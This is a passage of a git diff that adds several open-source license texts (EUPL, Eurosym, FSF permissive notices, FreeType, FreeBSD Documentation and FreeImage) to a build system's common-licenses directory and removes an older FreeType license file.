+Each time You accept the Licence, the original Licensor and subsequent Contributors grant You a licence to their contributions
+to the Work, under the terms of this Licence.
+
+7.Disclaimer of Warranty
+The Work is a work in progress, which is continuously improved by numerous Contributors. It is not a finished work
+and may therefore contain defects or ‘bugs’ inherent to this type of development.
+For the above reason, the Work is provided under the Licence on an ‘as is’ basis and without warranties of any kind
+concerning the Work, including without limitation merchantability, fitness for a particular purpose, absence of defects or
+errors, accuracy, non-infringement of intellectual property rights other than copyright as stated in Article 6 of this
+Licence.
+This disclaimer of warranty is an essential part of the Licence and a condition for the grant of any rights to the Work.
+
+8.Disclaimer of Liability
+Except in the cases of wilful misconduct or damages directly caused to natural persons, the Licensor will in no event be
+liable for any direct or indirect, material or moral, damages of any kind, arising out of the Licence or of the use of the
+Work, including without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, loss
+of data or any commercial damage, even if the Licensor has been advised of the possibility of such damage. However,
+the Licensor will be liable under statutory product liability laws as far such laws apply to the Work.
+
+9.Additional agreements
+While distributing the Work, You may choose to conclude an additional agreement, defining obligations or services
+consistent with this Licence. However, if accepting obligations, You may act only on your own behalf and on your sole
+responsibility, not on behalf of the original Licensor or any other Contributor, and only if You agree to indemnify,
+defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against such Contributor by
+the fact You have accepted any warranty or additional liability.
+
+10.Acceptance of the Licence
+The provisions of this Licence can be accepted by clicking on an icon ‘I agree’ placed under the bottom of a window
+displaying the text of this Licence or by affirming consent in any other similar way, in accordance with the rules of
+applicable law. Clicking on that icon indicates your clear and irrevocable acceptance of this Licence and all of its terms
+and conditions.
+Similarly, you irrevocably accept this Licence and all of its terms and conditions by exercising any rights granted to You
+by Article 2 of this Licence, such as the use of the Work, the creation by You of a Derivative Work or the Distribution
+or Communication by You of the Work or copies thereof.
+
+11.Information to the public
+In case of any Distribution or Communication of the Work by means of electronic communication by You (for example,
+by offering to download the Work from a remote location) the distribution channel or media (for example, a website)
+must at least provide to the public the information requested by the applicable law regarding the Licensor, the Licence
+and the way it may be accessible, concluded, stored and reproduced by the Licensee.
+
+12.Termination of the Licence
+The Licence and the rights granted hereunder will terminate automatically upon any breach by the Licensee of the terms
+of the Licence.
+Such a termination will not terminate the licences of any person who has received the Work from the Licensee under
+the Licence, provided such persons remain in full compliance with the Licence.
+
+13.Miscellaneous
+Without prejudice of Article 9 above, the Licence represents the complete agreement between the Parties as to the
+Work.
+If any provision of the Licence is invalid or unenforceable under applicable law, this will not affect the validity or
+enforceability of the Licence as a whole. Such provision will be construed or reformed so as necessary to make it valid
+and enforceable.
+The European Commission may publish other linguistic versions or new versions of this Licence or updated versions of
+the Appendix, so far this is required and reasonable, without reducing the scope of the rights granted by the Licence.
+New versions of the Licence will be published with a unique version number.
+All linguistic versions of this Licence, approved by the European Commission, have identical value. Parties can take
+advantage of the linguistic version of their choice.
+
+14.Jurisdiction
+Without prejudice to specific agreement between parties,
+— any litigation resulting from the interpretation of this License, arising between the European Union institutions,
+bodies, offices or agencies, as a Licensor, and any Licensee, will be subject to the jurisdiction of the Court of Justice
+of the European Union, as laid down in article 272 of the Treaty on the Functioning of the European Union,
+— any litigation arising between other parties and resulting from the interpretation of this License, will be subject to
+the exclusive jurisdiction of the competent court where the Licensor resides or conducts its primary business.
+
+15.Applicable Law
+Without prejudice to specific agreement between parties,
+— this Licence shall be governed by the law of the European Union Member State where the Licensor has his seat,
+resides or has his registered office,
+— this licence shall be governed by Belgian law if the Licensor has no seat, residence or registered office inside
+a European Union Member State.
+
+
+ Appendix
+
+‘Compatible Licences’ according to Article 5 EUPL are:
+— GNU General Public License (GPL) v. 2, v. 3
+— GNU Affero General Public License (AGPL) v. 3
+— Open Software License (OSL) v. 2.1, v. 3.0
+— Eclipse Public License (EPL) v. 1.0
+— CeCILL v. 2.0, v. 2.1
+— Mozilla Public Licence (MPL) v. 2
+— GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3
+— Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for works other than software
+— European Union Public Licence (EUPL) v. 1.1, v. 1.2
+— Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong Reciprocity (LiLiQ-R+).
+
+The European Commission may update this Appendix to later versions of the above licences without producing
+a new version of the EUPL, as long as they provide the rights granted in Article 2 of this Licence and protect the
+covered Source Code from exclusive appropriation.
+All other changes or additions to this Appendix require the production of a new EUPL version.
diff --git a/meta/files/common-licenses/Eurosym b/meta/files/common-licenses/Eurosym
new file mode 100644
index 0000000000..f6c255327c
--- /dev/null
+++ b/meta/files/common-licenses/Eurosym
@@ -0,0 +1,18 @@
+Copyright (c) 1999-2002 Henrik Theiling
+Licence Version 2
+
+This software is provided 'as-is', without warranty of any kind, express or implied. In no event will the authors or copyright holders be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated.
+
+ 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ 3. You must not use any of the names of the authors or copyright holders of the original software for advertising or publicity pertaining to distribution without specific, written prior permission.
+
+ 4. If you change this software and redistribute parts or all of it in any form, you must make the source code of the altered version of this software available.
+
+ 5. This notice may not be removed or altered from any source distribution.
+
+This licence is governed by the Laws of Germany. Disputes shall be settled by Saarbruecken City Court.
diff --git a/meta/files/common-licenses/FSFAP b/meta/files/common-licenses/FSFAP
new file mode 100644
index 0000000000..32bc8a8898
--- /dev/null
+++ b/meta/files/common-licenses/FSFAP
@@ -0,0 +1 @@
+Copying and distribution of this file, with or without modification, are permitted in any medium without royalty provided the copyright notice and this notice are preserved. This file is offered as-is, without any warranty.
diff --git a/meta/files/common-licenses/FSFUL b/meta/files/common-licenses/FSFUL
new file mode 100644
index 0000000000..f976e3c9ac
--- /dev/null
+++ b/meta/files/common-licenses/FSFUL
@@ -0,0 +1,3 @@
+Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
+
+This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it.
diff --git a/meta/files/common-licenses/FSFULLR b/meta/files/common-licenses/FSFULLR
new file mode 100644
index 0000000000..2acb219e0a
--- /dev/null
+++ b/meta/files/common-licenses/FSFULLR
@@ -0,0 +1,3 @@
+Copyright 1996-2006 Free Software Foundation, Inc.
+
+This file is free software; the Free Software Foundation gives unlimited permission to copy and/or distribute it, with or without modifications, as long as this notice is preserved.
diff --git a/meta/files/common-licenses/FTL b/meta/files/common-licenses/FTL
new file mode 100644
index 0000000000..a47d94d106
--- /dev/null
+++ b/meta/files/common-licenses/FTL
@@ -0,0 +1,79 @@
+The FreeType Project LICENSE
+
+2006-Jan-27
+
+Copyright 1996-2002, 2006 by David Turner, Robert Wilhelm, and Werner Lemberg
+
+Introduction
+
+The FreeType Project is distributed in several archive packages; some of them may contain, in addition to the FreeType font engine, various tools and contributions which rely on, or relate to, the FreeType Project.
+
+This license applies to all files found in such packages, and which do not fall under their own explicit license. The license affects thus the FreeType font engine, the test programs, documentation and makefiles, at the very least.
+
+This license was inspired by the BSD, Artistic, and IJG (Independent JPEG Group) licenses, which all encourage inclusion and use of free software in commercial and freeware products alike. As a consequence, its main points are that:
+
+ o We don't promise that this software works. However, we will be interested in any kind of bug reports. (`as is' distribution)
+
+ o You can use this software for whatever you want, in parts or full form, without having to pay us. (`royalty-free' usage)
+
+ o You may not pretend that you wrote this software. If you use it, or only parts of it, in a program, you must acknowledge somewhere in your documentation that you have used the FreeType code. (`credits')
+
+We specifically permit and encourage the inclusion of this software, with or without modifications, in commercial products. We disclaim all warranties covering The FreeType Project and assume no liability related to The FreeType Project.
+
+Finally, many people asked us for a preferred form for a credit/disclaimer to use in compliance with this license. We thus encourage you to use the following text:
+
+ """ Portions of this software are copyright © <year> The FreeType Project (www.freetype.org). All rights reserved. """
+
+Please replace <year> with the value from the FreeType version you actually use.
+
+Legal Terms
+
+0. Definitions
+
+Throughout this license, the terms `package', `FreeType Project', and `FreeType archive' refer to the set of files originally distributed by the authors (David Turner, Robert Wilhelm, and Werner Lemberg) as the `FreeType Project', be they named as alpha, beta or final release.
+
+`You' refers to the licensee, or person using the project, where `using' is a generic term including compiling the project's source code as well as linking it to form a `program' or `executable'. This program is referred to as `a program using the FreeType engine'.
+
+This license applies to all files distributed in the original FreeType Project, including all source code, binaries and documentation, unless otherwise stated in the file in its original, unmodified form as distributed in the original archive. If you are unsure whether or not a particular file is covered by this license, you must contact us to verify this.
+
+The FreeType Project is copyright (C) 1996-2000 by David Turner, Robert Wilhelm, and Werner Lemberg. All rights reserved except as specified below.
+
+1. No Warranty
+
+THE FREETYPE PROJECT IS PROVIDED `AS IS' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DAMAGES CAUSED BY THE USE OR THE INABILITY TO USE, OF THE FREETYPE PROJECT.
+
+2. Redistribution
+
+This license grants a worldwide, royalty-free, perpetual and irrevocable right and license to use, execute, perform, compile, display, copy, create derivative works of, distribute and sublicense the FreeType Project (in both source and object code forms) and derivative works thereof for any purpose; and to authorize others to exercise some or all of the rights granted herein, subject to the following conditions:
+
+ o Redistribution of source code must retain this license file (`FTL.TXT') unaltered; any additions, deletions or changes to the original files must be clearly indicated in accompanying documentation. The copyright notices of the unaltered, original files must be preserved in all copies of source files.
+
+ o Redistribution in binary form must provide a disclaimer that states that the software is based in part of the work of the FreeType Team, in the distribution documentation. We also encourage you to put an URL to the FreeType web page in your documentation, though this isn't mandatory.
+
+These conditions apply to any software derived from or based on the FreeType Project, not just the unmodified files. If you use our work, you must acknowledge us. However, no fee need be paid to us.
+
+3. Advertising
+
+Neither the FreeType authors and contributors nor you shall use the name of the other for commercial, advertising, or promotional purposes without specific prior written permission.
+
+We suggest, but do not require, that you use one or more of the following phrases to refer to this software in your documentation or advertising materials: `FreeType Project', `FreeType Engine', `FreeType library', or `FreeType Distribution'.
+
+As you have not signed this license, you are not required to accept it. However, as the FreeType Project is copyrighted material, only this license, or another one contracted with the authors, grants you the right to use, distribute, and modify it. Therefore, by using, distributing, or modifying the FreeType Project, you indicate that you understand and accept all the terms of this license.
+
+4. Contacts
+
+There are two mailing lists related to FreeType:
+
+ o freetype@nongnu.org
+
+ Discusses general use and applications of FreeType, as well as future and wanted additions to the library and distribution. If you are looking for support, start in this list if you haven't found anything to help you in the documentation.
+
+ o freetype-devel@nongnu.org
+
+ Discusses bugs, as well as engine internals, design issues, specific licenses, porting, etc.
+
+Our home page can be found at
+
+ http://www.freetype.org
+
+--- end of FTL.TXT ---
diff --git a/meta/files/common-licenses/FreeBSD-DOC b/meta/files/common-licenses/FreeBSD-DOC
new file mode 100644
index 0000000000..3023a2e948
--- /dev/null
+++ b/meta/files/common-licenses/FreeBSD-DOC
@@ -0,0 +1,23 @@
+The FreeBSD Documentation License
+
+Copyright 1994-2021 The FreeBSD Project. All rights reserved.
+
+Redistribution and use in source (SGML DocBook) and 'compiled' forms (SGML, HTML, PDF, PostScript, RTF and so forth) with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code (SGML DocBook) must retain the above copyright notice, this list of conditions and the following disclaimer as the first lines of this file unmodified.
+
+ 2. Redistributions in compiled form (transformed to other DTDs, converted to PDF, PostScript, RTF and other formats) must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS DOCUMENTATION IS PROVIDED BY THE FREEBSD DOCUMENTATION PROJECT "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FREEBSD DOCUMENTATION PROJECT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Manual Pages
+
+Some FreeBSD manual pages contain text from the IEEE Std 1003.1, 2004 Edition, Standard for Information Technology — Portable Operating System Interface (POSIX®) specification. These manual pages are subject to the following terms:
+
+ The Institute of Electrical and Electronics Engineers and The Open Group, have given us permission to reprint portions of their documentation.
+
+ In the following statement, the phrase "this text" refers to portions of the system documentation.
+
+ Portions of this text are reprinted and reproduced in electronic form in the FreeBSD manual pages, from IEEE Std 1003.1, 2004 Edition, Standard for Information Technology — Portable Operating System Interface (POSIX), The Open Group Base Specifications Issue 6, Copyright© 2001-2004 by the Institute of Electrical and Electronics Engineers, Inc and The Open Group. In the event of any discrepancy between these versions and the original IEEE and The Open Group Standard, the original IEEE and The Open Group Standard is the referee document. The original Standard can be obtained online at https://www.opengroup.org/membership/forums/platform/unix.
+
+ This notice shall appear on any product containing this material.
diff --git a/meta/files/common-licenses/FreeImage b/meta/files/common-licenses/FreeImage
new file mode 100644
index 0000000000..1b800d0628
--- /dev/null
+++ b/meta/files/common-licenses/FreeImage
@@ -0,0 +1,117 @@
+FreeImage Public License - Version 1.0
+
+1. Definitions.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a
+Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant.
+ The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell ("Utilize") the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant.
+ Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Contributor, to Utilize the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License.
+ The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code.
+ Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications.
+ You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims.
+ If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs.
+ If Your Modification is an application programming interface and You own or control patents which are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+
+ 3.5. Required Notices.
+ You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions.
+ You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You descr ibe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License,provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works.
+ You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions.
+ Floris van den Berg may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions.
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Floris van den Berg
+No one other than Floris van den Berg has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works.
+ If you create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases "FreeImage", `FreeImage Public License", "FIPL", or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the FreeImage Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+9. LIMITATION OF LIABILITY.
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by Dutch law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in, the The Netherlands: (a) unless otherwise agreed in writing, all disputes relating to this License (excepting any dispute relating to intellectual property rights) shall be subject to final and binding arbitration, with the losing party paying all costs of arbitration; (b) any arbitration relating to this Agreement shall be held in Almelo, The Netherlands; and (c) any litigation relating to this Agreement shall be subject to the jurisdiction of the court of Almelo, The Netherlands with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute responsibility on an equitable basis.
+
+EXHIBIT A.
+
+"The contents of this file are subject to the FreeImage Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://home.wxs.nl/~flvdberg/freeimage-license.txt
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
diff --git a/meta/files/common-licenses/FreeType b/meta/files/common-licenses/FreeType
deleted file mode 100644
index 3666649f3e..0000000000
--- a/meta/files/common-licenses/FreeType
+++ /dev/null
@@ -1,170 +0,0 @@
- The FreeType Project LICENSE
- ----------------------------
-
- 2006-Jan-27
-
- Copyright 1996-2002, 2006 by
- David Turner, Robert Wilhelm, and Werner Lemberg
-
-
-
-Introduction
-============
-
- The FreeType Project is distributed in several archive packages;
- some of them may contain, in addition to the FreeType font engine,
- various tools and contributions which rely on, or relate to, the
- FreeType Project.
-
- This license applies to all files found in such packages, and
- which do not fall under their own explicit license. The license
- affects thus the FreeType font engine, the test programs,
- documentation and makefiles, at the very least.
-
- This license was inspired by the BSD, Artistic, and IJG
- (Independent JPEG Group) licenses, which all encourage inclusion
- and use of free software in commercial and freeware products
- alike. As a consequence, its main points are that:
-
- o We don't promise that this software works. However, we will be
- interested in any kind of bug reports. (`as is' distribution)
-
- o You can use this software for whatever you want, in parts or
- full form, without having to pay us. (`royalty-free' usage)
-
- o You may not pretend that you wrote this software. If you use
- it, or only parts of it, in a program, you must acknowledge
- somewhere in your documentation that you have used the
- FreeType code. (`credits')
-
- We specifically permit and encourage the inclusion of this
- software, with or without modifications, in commercial products.
- We disclaim all warranties covering The FreeType Project and
- assume no liability related to The FreeType Project.
-
-
- Finally, many people asked us for a preferred form for a
- credit/disclaimer to use in compliance with this license. We thus
- encourage you to use the following text:
-
- """
- Portions of this software are copyright © <year> The FreeType
- Project (www.freetype.org). All rights reserved.
- """
-
- Please replace <year> with the value from the FreeType version you
- actually use.
-
-
-Legal Terms
-===========
-
-0. Definitions
---------------
-
- Throughout this license, the terms `package', `FreeType Project',
- and `FreeType archive' refer to the set of files originally
- distributed by the authors (David Turner, Robert Wilhelm, and
- Werner Lemberg) as the `FreeType Project', be they named as alpha,
- beta or final release.
-
- `You' refers to the licensee, or person using the project, where
- `using' is a generic term including compiling the project's source
- code as well as linking it to form a `program' or `executable'.
- This program is referred to as `a program using the FreeType
- engine'.
-
- This license applies to all files distributed in the original
- FreeType Project, including all source code, binaries and
- documentation, unless otherwise stated in the file in its
- original, unmodified form as distributed in the original archive.
- If you are unsure whether or not a particular file is covered by
- this license, you must contact us to verify this.
-
- The FreeType Project is copyright (C) 1996-2000 by David Turner,
- Robert Wilhelm, and Werner Lemberg. All rights reserved except as
- specified below.
-
-1. No Warranty
---------------
-
- THE FREETYPE PROJECT IS PROVIDED `AS IS' WITHOUT WARRANTY OF ANY
- KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
- WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- PURPOSE. IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS
- BE LIABLE FOR ANY DAMAGES CAUSED BY THE USE OR THE INABILITY TO
- USE, OF THE FREETYPE PROJECT.
-
-2. Redistribution
------------------
-
- This license grants a worldwide, royalty-free, perpetual and
- irrevocable right and license to use, execute, perform, compile,
- display, copy, create derivative works of, distribute and
- sublicense the FreeType Project (in both source and object code
- forms) and derivative works thereof for any purpose; and to
- authorize others to exercise some or all of the rights granted
- herein, subject to the following conditions:
-
- o Redistribution of source code must retain this license file
- (`FTL.TXT') unaltered; any additions, deletions or changes to
- the original files must be clearly indicated in accompanying
- documentation. The copyright notices of the unaltered,
- original files must be preserved in all copies of source
- files.
-
- o Redistribution in binary form must provide a disclaimer that
- states that the software is based in part of the work of the
- FreeType Team, in the distribution documentation. We also
- encourage you to put an URL to the FreeType web page in your
- documentation, though this isn't mandatory.
-
- These conditions apply to any software derived from or based on
- the FreeType Project, not just the unmodified files. If you use
- our work, you must acknowledge us. However, no fee need be paid
- to us.
-
-3. Advertising
